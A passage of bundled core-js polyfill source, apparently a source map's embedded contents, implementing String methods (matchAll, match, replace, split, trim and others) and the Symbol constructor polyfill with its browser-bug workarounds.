R.flags;\n if (flagsValue === undefined && isPrototypeOf(RegExpPrototype, R) && !('flags' in RegExpPrototype)) {\n flagsValue = getFlags(R);\n }\n flags = flagsValue === undefined ? '' : toString(flagsValue);\n matcher = new C(C === RegExp ? R.source : R, flags);\n $global = !!~stringIndexOf(flags, 'g');\n fullUnicode = !!~stringIndexOf(flags, 'u');\n matcher.lastIndex = toLength(R.lastIndex);\n return new $RegExpStringIterator(matcher, S, $global, fullUnicode);\n};\n\n// `String.prototype.matchAll` method\n// https://tc39.es/ecma262/#sec-string.prototype.matchall\n$({ target: 'String', proto: true, forced: WORKS_WITH_NON_GLOBAL_REGEX }, {\n matchAll: function matchAll(regexp) {\n var O = requireObjectCoercible(this);\n var flags, S, matcher, rx;\n if (regexp != null) {\n if (isRegExp(regexp)) {\n flags = toString(requireObjectCoercible('flags' in RegExpPrototype\n ? regexp.flags\n : getFlags(regexp)\n ));\n if (!~stringIndexOf(flags, 'g')) throw TypeError('`.matchAll` does not allow non-global regexes');\n }\n if (WORKS_WITH_NON_GLOBAL_REGEX) return un$MatchAll(O, regexp);\n matcher = getMethod(regexp, MATCH_ALL);\n if (matcher === undefined && IS_PURE && classof(regexp) == 'RegExp') matcher = $matchAll;\n if (matcher) return call(matcher, regexp, O);\n } else if (WORKS_WITH_NON_GLOBAL_REGEX) return un$MatchAll(O, regexp);\n S = toString(O);\n rx = new RegExp(regexp, 'g');\n return IS_PURE ? call($matchAll, rx, S) : rx[MATCH_ALL](S);\n }\n});\n\nIS_PURE || MATCH_ALL in RegExpPrototype || redefine(RegExpPrototype, MATCH_ALL, $matchAll);\n","'use strict';\nvar call = require('../internals/function-call');\nvar fixRegExpWellKnownSymbolLogic = require('../internals/fix-regexp-well-known-symbol-logic');\nvar anObject = require('../internals/an-object');\nvar toLength = require('../internals/to-length');\nvar toString = require('../internals/to-string');\nvar requireObjectCoercible = require('../internals/require-object-coercible');\nvar getMethod = require('../internals/get-method');\nvar advanceStringIndex = require('../internals/advance-string-index');\nvar regExpExec = require('../internals/regexp-exec-abstract');\n\n// @@match logic\nfixRegExpWellKnownSymbolLogic('match', function (MATCH, nativeMatch, maybeCallNative) {\n return [\n // `String.prototype.match` method\n // https://tc39.es/ecma262/#sec-string.prototype.match\n function match(regexp) {\n var O = requireObjectCoercible(this);\n var matcher = regexp == undefined ? undefined : getMethod(regexp, MATCH);\n return matcher ? call(matcher, regexp, O) : new RegExp(regexp)[MATCH](toString(O));\n },\n // `RegExp.prototype[@@match]` method\n // https://tc39.es/ecma262/#sec-regexp.prototype-@@match\n function (string) {\n var rx = anObject(this);\n var S = toString(string);\n var res = maybeCallNative(nativeMatch, rx, S);\n\n if (res.done) return res.value;\n\n if (!rx.global) return regExpExec(rx, S);\n\n var fullUnicode = rx.unicode;\n rx.lastIndex = 0;\n var A = [];\n var n = 0;\n var result;\n while ((result = regExpExec(rx, S)) !== null) {\n var matchStr = toString(result[0]);\n A[n] = matchStr;\n if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode);\n n++;\n }\n return n === 0 ? null : A;\n }\n ];\n});\n","var $ = require('../internals/export');\nvar repeat = require('../internals/string-repeat');\n\n// `String.prototype.repeat` method\n// https://tc39.es/ecma262/#sec-string.prototype.repeat\n$({ target: 'String', proto: true }, {\n repeat: repeat\n});\n","'use strict';\nvar apply = require('../internals/function-apply');\nvar call = require('../internals/function-call');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar fixRegExpWellKnownSymbolLogic = require('../internals/fix-regexp-well-known-symbol-logic');\nvar fails = require('../internals/fails');\nvar anObject = require('../internals/an-object');\nvar isCallable = require('../internals/is-callable');\nvar toIntegerOrInfinity = require('../internals/to-integer-or-infinity');\nvar toLength = require('../internals/to-length');\nvar toString = require('../internals/to-string');\nvar requireObjectCoercible = require('../internals/require-object-coercible');\nvar advanceStringIndex = require('../internals/advance-string-index');\nvar getMethod = require('../internals/get-method');\nvar getSubstitution = require('../internals/get-substitution');\nvar regExpExec = require('../internals/regexp-exec-abstract');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar REPLACE = wellKnownSymbol('replace');\nvar max = Math.max;\nvar min = Math.min;\nvar concat = uncurryThis([].concat);\nvar push = uncurryThis([].push);\nvar stringIndexOf = uncurryThis(''.indexOf);\nvar stringSlice = uncurryThis(''.slice);\n\nvar maybeToString = function (it) {\n return it === undefined ? it : String(it);\n};\n\n// IE <= 11 replaces $0 with the whole match, as if it was $&\n// https://stackoverflow.com/questions/6024666/getting-ie-to-replace-a-regex-with-the-literal-string-0\nvar REPLACE_KEEPS_$0 = (function () {\n // eslint-disable-next-line regexp/prefer-escape-replacement-dollar-char -- required for testing\n return 'a'.replace(/./, '$0') === '$0';\n})();\n\n// Safari <= 13.0.3(?) substitutes nth capture where n>m with an empty string\nvar REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE = (function () {\n if (/./[REPLACE]) {\n return /./[REPLACE]('a', '$0') === '';\n }\n return false;\n})();\n\nvar REPLACE_SUPPORTS_NAMED_GROUPS = !fails(function () {\n var re = /./;\n re.exec = function () {\n var result = [];\n result.groups = { a: '7' };\n return result;\n };\n // eslint-disable-next-line regexp/no-useless-dollar-replacements -- false positive\n return ''.replace(re, '$') !== '7';\n});\n\n// @@replace logic\nfixRegExpWellKnownSymbolLogic('replace', function (_, nativeReplace, maybeCallNative) {\n var UNSAFE_SUBSTITUTE = REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE ? '$' : '$0';\n\n return [\n // `String.prototype.replace` method\n // https://tc39.es/ecma262/#sec-string.prototype.replace\n function replace(searchValue, replaceValue) {\n var O = requireObjectCoercible(this);\n var replacer = searchValue == undefined ? undefined : getMethod(searchValue, REPLACE);\n return replacer\n ? call(replacer, searchValue, O, replaceValue)\n : call(nativeReplace, toString(O), searchValue, replaceValue);\n },\n // `RegExp.prototype[@@replace]` method\n // https://tc39.es/ecma262/#sec-regexp.prototype-@@replace\n function (string, replaceValue) {\n var rx = anObject(this);\n var S = toString(string);\n\n if (\n typeof replaceValue == 'string' &&\n stringIndexOf(replaceValue, UNSAFE_SUBSTITUTE) === -1 &&\n stringIndexOf(replaceValue, '$<') === -1\n ) {\n var res = maybeCallNative(nativeReplace, rx, S, replaceValue);\n if (res.done) return res.value;\n }\n\n var functionalReplace = isCallable(replaceValue);\n if (!functionalReplace) replaceValue = toString(replaceValue);\n\n var global = rx.global;\n if (global) {\n var fullUnicode = rx.unicode;\n rx.lastIndex = 0;\n }\n var results = [];\n while (true) {\n var result = regExpExec(rx, S);\n if (result === null) break;\n\n push(results, result);\n if (!global) break;\n\n var matchStr = toString(result[0]);\n if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode);\n }\n\n var accumulatedResult = '';\n var nextSourcePosition = 0;\n for (var i = 0; i < results.length; i++) {\n result = results[i];\n\n var matched = toString(result[0]);\n var position = max(min(toIntegerOrInfinity(result.index), S.length), 0);\n var captures = [];\n // NOTE: This is equivalent to\n // captures = result.slice(1).map(maybeToString)\n // but for some reason `nativeSlice.call(result, 1, result.length)` (called in\n // the slice polyfill when slicing native arrays) \"doesn't work\" in safari 9 and\n // causes a crash (https://pastebin.com/N21QzeQA) when trying to debug it.\n for (var j = 1; j < result.length; j++) push(captures, maybeToString(result[j]));\n var namedCaptures = result.groups;\n if (functionalReplace) {\n var replacerArgs = concat([matched], captures, position, S);\n if (namedCaptures !== undefined) push(replacerArgs, namedCaptures);\n var replacement = toString(apply(replaceValue, undefined, replacerArgs));\n } else {\n replacement = getSubstitution(matched, S, position, captures, namedCaptures, replaceValue);\n }\n if (position >= nextSourcePosition) {\n accumulatedResult += stringSlice(S, nextSourcePosition, position) + replacement;\n nextSourcePosition = position + matched.length;\n }\n }\n return accumulatedResult + stringSlice(S, nextSourcePosition);\n }\n ];\n}, !REPLACE_SUPPORTS_NAMED_GROUPS || !REPLACE_KEEPS_$0 || REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE);\n","'use strict';\nvar apply = require('../internals/function-apply');\nvar call = require('../internals/function-call');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar fixRegExpWellKnownSymbolLogic = require('../internals/fix-regexp-well-known-symbol-logic');\nvar isRegExp = require('../internals/is-regexp');\nvar anObject = require('../internals/an-object');\nvar requireObjectCoercible = require('../internals/require-object-coercible');\nvar speciesConstructor = require('../internals/species-constructor');\nvar advanceStringIndex = require('../internals/advance-string-index');\nvar toLength = require('../internals/to-length');\nvar toString = require('../internals/to-string');\nvar getMethod = require('../internals/get-method');\nvar arraySlice = require('../internals/array-slice');\nvar callRegExpExec = require('../internals/regexp-exec-abstract');\nvar regexpExec = require('../internals/regexp-exec');\nvar stickyHelpers = require('../internals/regexp-sticky-helpers');\nvar fails = require('../internals/fails');\n\nvar UNSUPPORTED_Y = stickyHelpers.UNSUPPORTED_Y;\nvar MAX_UINT32 = 0xFFFFFFFF;\nvar min = Math.min;\nvar $push = [].push;\nvar exec = uncurryThis(/./.exec);\nvar push = uncurryThis($push);\nvar stringSlice = uncurryThis(''.slice);\n\n// Chrome 51 has a buggy \"split\" implementation when RegExp#exec !== nativeExec\n// Weex JS has frozen built-in prototypes, so use try / catch wrapper\nvar SPLIT_WORKS_WITH_OVERWRITTEN_EXEC = !fails(function () {\n // eslint-disable-next-line regexp/no-empty-group -- required for testing\n var re = /(?:)/;\n var originalExec = re.exec;\n re.exec = function () { return originalExec.apply(this, arguments); };\n var result = 'ab'.split(re);\n return result.length !== 2 || result[0] !== 'a' || result[1] !== 'b';\n});\n\n// @@split logic\nfixRegExpWellKnownSymbolLogic('split', function (SPLIT, nativeSplit, maybeCallNative) {\n var internalSplit;\n if (\n 'abbc'.split(/(b)*/)[1] == 'c' ||\n // eslint-disable-next-line regexp/no-empty-group -- required for testing\n 'test'.split(/(?:)/, -1).length != 4 ||\n 'ab'.split(/(?:ab)*/).length != 2 ||\n '.'.split(/(.?)(.?)/).length != 4 ||\n // eslint-disable-next-line regexp/no-empty-capturing-group, regexp/no-empty-group -- required for testing\n '.'.split(/()()/).length > 1 ||\n ''.split(/.?/).length\n ) {\n // based on es5-shim implementation, need to rework it\n internalSplit = function (separator, limit) {\n var string = toString(requireObjectCoercible(this));\n var lim = limit === undefined ? MAX_UINT32 : limit >>> 0;\n if (lim === 0) return [];\n if (separator === undefined) return [string];\n // If `separator` is not a regex, use native split\n if (!isRegExp(separator)) {\n return call(nativeSplit, string, separator, lim);\n }\n var output = [];\n var flags = (separator.ignoreCase ? 'i' : '') +\n (separator.multiline ? 'm' : '') +\n (separator.unicode ? 'u' : '') +\n (separator.sticky ? 'y' : '');\n var lastLastIndex = 0;\n // Make `global` and avoid `lastIndex` issues by working with a copy\n var separatorCopy = new RegExp(separator.source, flags + 'g');\n var match, lastIndex, lastLength;\n while (match = call(regexpExec, separatorCopy, string)) {\n lastIndex = separatorCopy.lastIndex;\n if (lastIndex > lastLastIndex) {\n push(output, stringSlice(string, lastLastIndex, match.index));\n if (match.length > 1 && match.index < string.length) apply($push, output, arraySlice(match, 1));\n lastLength = match[0].length;\n lastLastIndex = lastIndex;\n if (output.length >= lim) break;\n }\n if (separatorCopy.lastIndex === match.index) separatorCopy.lastIndex++; // Avoid an infinite loop\n }\n if (lastLastIndex === string.length) {\n if (lastLength || !exec(separatorCopy, '')) push(output, '');\n } else push(output, stringSlice(string, lastLastIndex));\n return output.length > lim ? arraySlice(output, 0, lim) : output;\n };\n // Chakra, V8\n } else if ('0'.split(undefined, 0).length) {\n internalSplit = function (separator, limit) {\n return separator === undefined && limit === 0 ? [] : call(nativeSplit, this, separator, limit);\n };\n } else internalSplit = nativeSplit;\n\n return [\n // `String.prototype.split` method\n // https://tc39.es/ecma262/#sec-string.prototype.split\n function split(separator, limit) {\n var O = requireObjectCoercible(this);\n var splitter = separator == undefined ? undefined : getMethod(separator, SPLIT);\n return splitter\n ? call(splitter, separator, O, limit)\n : call(internalSplit, toString(O), separator, limit);\n },\n // `RegExp.prototype[@@split]` method\n // https://tc39.es/ecma262/#sec-regexp.prototype-@@split\n //\n // NOTE: This cannot be properly polyfilled in engines that don't support\n // the 'y' flag.\n function (string, limit) {\n var rx = anObject(this);\n var S = toString(string);\n var res = maybeCallNative(internalSplit, rx, S, limit, internalSplit !== nativeSplit);\n\n if (res.done) return res.value;\n\n var C = speciesConstructor(rx, RegExp);\n\n var unicodeMatching = rx.unicode;\n var flags = (rx.ignoreCase ? 'i' : '') +\n (rx.multiline ? 'm' : '') +\n (rx.unicode ? 'u' : '') +\n (UNSUPPORTED_Y ? 'g' : 'y');\n\n // ^(? + rx + ) is needed, in combination with some S slicing, to\n // simulate the 'y' flag.\n var splitter = new C(UNSUPPORTED_Y ? '^(?:' + rx.source + ')' : rx, flags);\n var lim = limit === undefined ? MAX_UINT32 : limit >>> 0;\n if (lim === 0) return [];\n if (S.length === 0) return callRegExpExec(splitter, S) === null ? [S] : [];\n var p = 0;\n var q = 0;\n var A = [];\n while (q < S.length) {\n splitter.lastIndex = UNSUPPORTED_Y ? 0 : q;\n var z = callRegExpExec(splitter, UNSUPPORTED_Y ? stringSlice(S, q) : S);\n var e;\n if (\n z === null ||\n (e = min(toLength(splitter.lastIndex + (UNSUPPORTED_Y ? q : 0)), S.length)) === p\n ) {\n q = advanceStringIndex(S, q, unicodeMatching);\n } else {\n push(A, stringSlice(S, p, q));\n if (A.length === lim) return A;\n for (var i = 1; i <= z.length - 1; i++) {\n push(A, z[i]);\n if (A.length === lim) return A;\n }\n q = p = e;\n }\n }\n push(A, stringSlice(S, p));\n return A;\n }\n ];\n}, !SPLIT_WORKS_WITH_OVERWRITTEN_EXEC, UNSUPPORTED_Y);\n","'use strict';\nvar $ = require('../internals/export');\nvar createHTML = require('../internals/create-html');\nvar forcedStringHTMLMethod = require('../internals/string-html-forced');\n\n// `String.prototype.strike` method\n// https://tc39.es/ecma262/#sec-string.prototype.strike\n$({ target: 'String', proto: true, forced: forcedStringHTMLMethod('strike') }, {\n strike: function strike() {\n return createHTML(this, 'strike', '', '');\n }\n});\n","'use strict';\nvar $ = require('../internals/export');\nvar $trim = require('../internals/string-trim').trim;\nvar forcedStringTrimMethod = require('../internals/string-trim-forced');\n\n// `String.prototype.trim` method\n// https://tc39.es/ecma262/#sec-string.prototype.trim\n$({ target: 'String', proto: true, forced: forcedStringTrimMethod('trim') }, {\n trim: function trim() {\n return $trim(this);\n }\n});\n","// `Symbol.prototype.description` getter\n// https://tc39.es/ecma262/#sec-symbol.prototype.description\n'use strict';\nvar $ = require('../internals/export');\nvar DESCRIPTORS = require('../internals/descriptors');\nvar global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar hasOwn = require('../internals/has-own-property');\nvar isCallable = require('../internals/is-callable');\nvar isPrototypeOf = require('../internals/object-is-prototype-of');\nvar toString = require('../internals/to-string');\nvar defineProperty = require('../internals/object-define-property').f;\nvar copyConstructorProperties = require('../internals/copy-constructor-properties');\n\nvar NativeSymbol = global.Symbol;\nvar SymbolPrototype = NativeSymbol && NativeSymbol.prototype;\n\nif (DESCRIPTORS && isCallable(NativeSymbol) && (!('description' in SymbolPrototype) ||\n // Safari 12 bug\n NativeSymbol().description !== undefined\n)) {\n var EmptyStringDescriptionStore = {};\n // wrap Symbol constructor for correct work with undefined description\n var SymbolWrapper = function Symbol() {\n var description = arguments.length < 1 || arguments[0] === undefined ? undefined : toString(arguments[0]);\n var result = isPrototypeOf(SymbolPrototype, this)\n ? new NativeSymbol(description)\n // in Edge 13, String(Symbol(undefined)) === 'Symbol(undefined)'\n : description === undefined ? NativeSymbol() : NativeSymbol(description);\n if (description === '') EmptyStringDescriptionStore[result] = true;\n return result;\n };\n\n copyConstructorProperties(SymbolWrapper, NativeSymbol);\n SymbolWrapper.prototype = SymbolPrototype;\n SymbolPrototype.constructor = SymbolWrapper;\n\n var NATIVE_SYMBOL = String(NativeSymbol('test')) == 'Symbol(test)';\n var symbolToString = uncurryThis(SymbolPrototype.toString);\n var symbolValueOf = uncurryThis(SymbolPrototype.valueOf);\n var regexp = /^Symbol\\((.*)\\)[^)]+$/;\n var replace = uncurryThis(''.replace);\n var stringSlice = uncurryThis(''.slice);\n\n defineProperty(SymbolPrototype, 'description', {\n configurable: true,\n get: function description() {\n var symbol = symbolValueOf(this);\n var string = symbolToString(symbol);\n if (hasOwn(EmptyStringDescriptionStore, symbol)) return '';\n var desc = NATIVE_SYMBOL ? stringSlice(string, 7, -1) : replace(string, regexp, '$1');\n return desc === '' ? undefined : desc;\n }\n });\n\n $({ global: true, forced: true }, {\n Symbol: SymbolWrapper\n });\n}\n","var defineWellKnownSymbol = require('../internals/define-well-known-symbol');\n\n// `Symbol.iterator` well-known symbol\n// https://tc39.es/ecma262/#sec-symbol.iterator\ndefineWellKnownSymbol('iterator');\n","'use strict';\nvar $ = require('../internals/export');\nvar global = require('../internals/global');\nvar getBuiltIn = require('../internals/get-built-in');\nvar apply = require('../internals/function-apply');\nvar call = require('../internals/function-call');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar IS_PURE = require('../internals/is-pure');\nvar DESCRIPTORS = require('../internals/descriptors');\nvar NATIVE_SYMBOL = require('../internals/native-symbol');\nvar fails = require('../internals/fails');\nvar hasOwn = require('../internals/has-own-property');\nvar isArray = require('../internals/is-array');\nvar isCallable = require('../internals/is-callable');\nvar isObject = require('../internals/is-object');\nvar isPrototypeOf = require('../internals/object-is-prototype-of');\nvar isSymbol = require('../internals/is-symbol');\nvar anObject = require('../internals/an-object');\nvar toObject = require('../internals/to-object');\nvar toIndexedObject = require('../internals/to-indexed-object');\nvar toPropertyKey = require('../internals/to-property-key');\nvar $toString = require('../internals/to-string');\nvar createPropertyDescriptor = require('../internals/create-property-descriptor');\nvar nativeObjectCreate = require('../internals/object-create');\nvar objectKeys = require('../internals/object-keys');\nvar getOwnPropertyNamesModule = require('../internals/object-get-own-property-names');\nvar getOwnPropertyNamesExternal = require('../internals/object-get-own-property-names-external');\nvar getOwnPropertySymbolsModule = require('../internals/object-get-own-property-symbols');\nvar getOwnPropertyDescriptorModule = require('../internals/object-get-own-property-descriptor');\nvar definePropertyModule = require('../internals/object-define-property');\nvar propertyIsEnumerableModule = require('../internals/object-property-is-enumerable');\nvar arraySlice = require('../internals/array-slice');\nvar redefine = require('../internals/redefine');\nvar shared = require('../internals/shared');\nvar sharedKey = require('../internals/shared-key');\nvar hiddenKeys = require('../internals/hidden-keys');\nvar uid = require('../internals/uid');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\nvar wrappedWellKnownSymbolModule = require('../internals/well-known-symbol-wrapped');\nvar defineWellKnownSymbol = require('../internals/define-well-known-symbol');\nvar setToStringTag = require('../internals/set-to-string-tag');\nvar InternalStateModule = require('../internals/internal-state');\nvar $forEach = require('../internals/array-iteration').forEach;\n\nvar HIDDEN = sharedKey('hidden');\nvar SYMBOL = 'Symbol';\nvar PROTOTYPE = 'prototype';\nvar TO_PRIMITIVE = wellKnownSymbol('toPrimitive');\n\nvar setInternalState = InternalStateModule.set;\nvar getInternalState = InternalStateModule.getterFor(SYMBOL);\n\nvar ObjectPrototype = Object[PROTOTYPE];\nvar $Symbol = global.Symbol;\nvar SymbolPrototype = $Symbol && $Symbol[PROTOTYPE];\nvar TypeError = global.TypeError;\nvar QObject = global.QObject;\nvar $stringify = getBuiltIn('JSON', 'stringify');\nvar nativeGetOwnPropertyDescriptor = getOwnPropertyDescriptorModule.f;\nvar nativeDefineProperty = definePropertyModule.f;\nvar nativeGetOwnPropertyNames = getOwnPropertyNamesExternal.f;\nvar nativePropertyIsEnumerable = propertyIsEnumerableModule.f;\nvar push = uncurryThis([].push);\n\nvar AllSymbols = shared('symbols');\nvar ObjectPrototypeSymbols = shared('op-symbols');\nvar StringToSymbolRegistry = shared('string-to-symbol-registry');\nvar SymbolToStringRegistry = shared('symbol-to-string-registry');\nvar WellKnownSymbolsStore = shared('wks');\n\n// Don't use setters in Qt Script, https://github.com/zloirock/core-js/issues/173\nvar USE_SETTER = !QObject || !QObject[PROTOTYPE] || !QObject[PROTOTYPE].findChild;\n\n// fallback for old Android, https://code.google.com/p/v8/issues/detail?id=687\nvar setSymbolDescriptor = DESCRIPTORS && fails(function () {\n return nativeObjectCreate(nativeDefineProperty({}, 'a', {\n get: function () { return nativeDefineProperty(this, 'a', { value: 7 }).a; }\n })).a != 7;\n}) ? function (O, P, Attributes) {\n var ObjectPrototypeDescriptor = nativeGetOwnPropertyDescriptor(ObjectPrototype, P);\n if (ObjectPrototypeDescriptor) delete ObjectPrototype[P];\n nativeDefineProperty(O, P, Attributes);\n if (ObjectPrototypeDescriptor && O !== ObjectPrototype) {\n nativeDefineProperty(ObjectPrototype, P, ObjectPrototypeDescriptor);\n }\n} : nativeDefineProperty;\n\nvar wrap = function (tag, description) {\n var symbol = AllSymbols[tag] = nativeObjectCreate(SymbolPrototype);\n setInternalState(symbol, {\n type: SYMBOL,\n tag: tag,\n description: description\n });\n if (!DESCRIPTORS) symbol.description = description;\n return symbol;\n};\n\nvar $defineProperty = function defineProperty(O, P, Attributes) {\n if (O === ObjectPrototype) $defineProperty(ObjectPrototypeSymbols, P, Attributes);\n anObject(O);\n var key = toPropertyKey(P);\n anObject(Attributes);\n if (hasOwn(AllSymbols, key)) {\n if (!Attributes.enumerable) {\n if (!hasOwn(O, HIDDEN)) nativeDefineProperty(O, HIDDEN, createPropertyDescriptor(1, {}));\n O[HIDDEN][key] = true;\n } else {\n if (hasOwn(O, HIDDEN) && O[HIDDEN][key]) O[HIDDEN][key] = false;\n Attributes = nativeObjectCreate(Attributes, { enumerable: createPropertyDescriptor(0, false) });\n } return setSymbolDescriptor(O, key, Attributes);\n } return nativeDefineProperty(O, key, Attributes);\n};\n\nvar $defineProperties = function defineProperties(O, Properties) {\n anObject(O);\n var properties = toIndexedObject(Properties);\n var keys = objectKeys(properties).concat($getOwnPropertySymbols(properties));\n $forEach(keys, function (key) {\n if (!DESCRIPTORS || call($propertyIsEnumerable, properties, key)) $defineProperty(O, key, properties[key]);\n });\n return O;\n};\n\nvar $create = function create(O, Properties) {\n return Properties === undefined ? nativeObjectCreate(O) : $defineProperties(nativeObjectCreate(O), Properties);\n};\n\nvar $propertyIsEnumerable = function propertyIsEnumerable(V) {\n var P = toPropertyKey(V);\n var enumerable = call(nativePropertyIsEnumerable, this, P);\n if (this === ObjectPrototype && hasOwn(AllSymbols, P) && !hasOwn(ObjectPrototypeSymbols, P)) return false;\n return enumerable || !hasOwn(this, P) || !hasOwn(AllSymbols, P) || hasOwn(this, HIDDEN) && this[HIDDEN][P]\n ? enumerable : true;\n};\n\nvar $getOwnPropertyDescriptor = function getOwnPropertyDescriptor(O, P) {\n var it = toIndexedObject(O);\n var key = toPropertyKey(P);\n if (it === ObjectPrototype && hasOwn(AllSymbols, key) && !hasOwn(ObjectPrototypeSymbols, key)) return;\n var descriptor = nativeGetOwnPropertyDescriptor(it, key);\n if (descriptor && hasOwn(AllSymbols, key) && !(hasOwn(it, HIDDEN) && it[HIDDEN][key])) {\n descriptor.enumerable = true;\n }\n return descriptor;\n};\n\nvar $getOwnPropertyNames = function getOwnPropertyNames(O) {\n var names = nativeGetOwnPropertyNames(toIndexedObject(O));\n var result = [];\n $forEach(names, function (key) {\n if (!hasOwn(AllSymbols, key) && !hasOwn(hiddenKeys, key)) push(result, key);\n });\n return result;\n};\n\nvar $getOwnPropertySymbols = function getOwnPropertySymbols(O) {\n var IS_OBJECT_PROTOTYPE = O === ObjectPrototype;\n var names = nativeGetOwnPropertyNames(IS_OBJECT_PROTOTYPE ? ObjectPrototypeSymbols : toIndexedObject(O));\n var result = [];\n $forEach(names, function (key) {\n if (hasOwn(AllSymbols, key) && (!IS_OBJECT_PROTOTYPE || hasOwn(ObjectPrototype, key))) {\n push(result, AllSymbols[key]);\n }\n });\n return result;\n};\n\n// `Symbol` constructor\n// https://tc39.es/ecma262/#sec-symbol-constructor\nif (!NATIVE_SYMBOL) {\n $Symbol = function Symbol() {\n if (isPrototypeOf(SymbolPrototype, this)) throw TypeError('Symbol is not a constructor');\n var description = !arguments.length || arguments[0] === undefined ? undefined : $toString(arguments[0]);\n var tag = uid(description);\n var setter = function (value) {\n if (this === ObjectPrototype) call(setter, ObjectPrototypeSymbols, value);\n if (hasOwn(this, HIDDEN) && hasOwn(this[HIDDEN], tag)) this[HIDDEN][tag] = false;\n setSymbolDescriptor(this, tag, createPropertyDescriptor(1, value));\n };\n if (DESCRIPTORS && USE_SETTER) setSymbolDescriptor(ObjectPrototype, tag, { configurable: true, set: setter });\n return wrap(tag, description);\n };\n\n SymbolPrototype = $Symbol[PROTOTYPE];\n\n redefine(SymbolPrototype, 'toString', function toString() {\n return getInternalState(this).tag;\n });\n\n redefine($Symbol, 'withoutSetter', function (description) {\n return wrap(uid(description), description);\n });\n\n propertyIsEnumerableModule.f = $propertyIsEnumerable;\n definePropertyModule.f = $defineProperty;\n getOwnPropertyDescriptorModule.f = $getOwnPropertyDescriptor;\n getOwnPropertyNamesModule.f = getOwnPropertyNamesExternal.f = $getOwnPropertyNames;\n getOwnPropertySymbolsModule.f = $getOwnPropertySymbols;\n\n wrappedWellKnownSymbolModule.f = function (name) {\n return wrap(wellKnownSymbol(name), name);\n };\n\n if (DESCRIPTORS) {\n // https://github.com/tc39/proposal-Symbol-description\n nativeDefineProperty(SymbolPrototype, 'description', {\n configurable: true,\n get: function description() {\n return getInternalState(this).description;\n }\n });\n if (!IS_PURE) {\n redefine(ObjectPrototype, 'propertyIsEnumerable', $propertyIsEnumerable, { unsafe: true });\n }\n }\n}\n\n$({ global: true, wrap: true, forced: !NATIVE_SYMBOL, sham: !NATIVE_SYMBOL }, {\n Symbol: $Symbol\n});\n\n$forEach(objectKeys(WellKnownSymbolsStore), function (name) {\n defineWellKnownSymbol(name);\n});\n\n$({ target: SYMBOL, stat: true, forced: !NATIVE_SYMBOL }, {\n // `Symbol.for` method\n // https://tc39.es/ecma262/#sec-symbol.for\n 'for': function (key) {\n var string = $toString(key);\n if (hasOwn(StringToSymbolRegistry, string)) return StringToSymbolRegistry[string];\n var symbol = $Symbol(string);\n StringToSymbolRegistry[string] = symbol;\n SymbolToStringRegistry[symbol] = string;\n return symbol;\n },\n // `Symbol.keyFor` method\n // https://tc39.es/ecma262/#sec-symbol.keyfor\n keyFor: function keyFor(sym) {\n if (!isSymbol(sym)) throw TypeError(sym + ' is not a symbol');\n if (hasOwn(SymbolToStringRegistry, sym)) return SymbolToStringRegistry[sym];\n },\n useSetter: function () { USE_SETTER = true; },\n useSimple: function () { USE_SETTER = false; }\n});\n\n$({ target: 'Object', stat: true, forced: !NATIVE_SYMBOL, sham: !DESCRIPTORS }, {\n // `Object.create` method\n // https://tc39.es/ecma262/#sec-object.create\n create: $create,\n // `Object.defineProperty` method\n // https://tc39.es/ecma262/#sec-object.defineproperty\n defineProperty: $defineProperty,\n // `Object.defineProperties` method\n // https://tc39.es/ecma262/#sec-object.defineproperties\n defineProperties: $defineProperties,\n // `Object.getOwnPropertyDescriptor` method\n // https://tc39.es/ecma262/#sec-object.getownpropertydescriptors\n getOwnPropertyDescriptor: $getOwnPropertyDescriptor\n});\n\n$({ target: 'Object', stat: true, forced: !NATIVE_SYMBOL }, {\n // `Object.getOwnPropertyNames` method\n // https://tc39.es/ecma262/#sec-object.getownpropertynames\n getOwnPropertyNames: $getOwnPropertyNames,\n // `Object.getOwnPropertySymbols` method\n // https://tc39.es/ecma262/#sec-object.getownpropertysymbols\n getOwnPropertySymbols: $getOwnPropertySymbols\n});\n\n// Chrome 38 and 39 `Object.getOwnPropertySymbols` fails on primitives\n// https://bugs.chromium.org/p/v8/issues/detail?id=3443\n$({ target: 'Object', stat: true, forced: fails(function () { getOwnPropertySymbolsModule.f(1); }) }, {\n getOwnPropertySymbols: function getOwnPropertySymbols(it) {\n return getOwnPropertySymbolsModule.f(toObject(it));\n }\n});\n\n// `JSON.stringify` method behavior with symbols\n// https://tc39.es/ecma262/#sec-json.stringify\nif ($stringify) {\n var FORCED_JSON_STRINGIFY = !NATIVE_SYMBOL || fails(function () {\n var symbol = $Symbol();\n // MS Edge converts symbol values to JSON as {}\n return $stringify([symbol]) != '[null]'\n // WebKit converts symbol values to JSON as null\n || $stringify({ a: symbol }) != '{}'\n // V8 throws on boxed symbols\n || $stringify(Object(symbol)) != '{}';\n });\n\n $({ target: 'JSON', stat: true, forced: FORCED_JSON_STRINGIFY }, {\n // eslint-disable-next-line no-unused-vars -- required for `.length`\n stringify: function stringify(it, replacer, space) {\n var args = arraySlice(arguments);\n var $replacer = replacer;\n if (!isObject(replacer) && it === undefined || isSymbol(it)) return; // IE8 returns string on undefined\n if (!isArray(replacer)) replacer = function (key, value) {\n if (isCallable($replacer)) value = call($replacer, this, key, value);\n if (!isSymbol(value)) return value;\n };\n args[1] = replacer;\n return apply($stringify, null, args);\n }\n });\n}\n\n// `Symbol.prototype[@@toPrimitive]` method\n// https://tc39.es/ecma262/#sec-symbol.prototype-@@toprimitive\nif (!SymbolPrototype[TO_PRIMITIVE]) {\n var valueOf = SymbolPrototype.valueOf;\n // eslint-disable-next-line no-unused-vars -- required for .length\n redefine(SymbolPrototype, TO_PRIMITIVE, function (hint) {\n // TODO: improve hint logic\n return call(valueOf, this);\n });\n}\n// `Symbol.prototype[@@toStringTag]` property\n// https://tc39.es/ecma262/#sec-symbol.prototype-@@tostringtag\nsetToStringTag($Symbol, SYMBOL);\n\nhiddenKeys[HIDDEN] = true;\n","var defineWellKnownSymbol = require('../internals/define-well-known-symbol');\n\n// 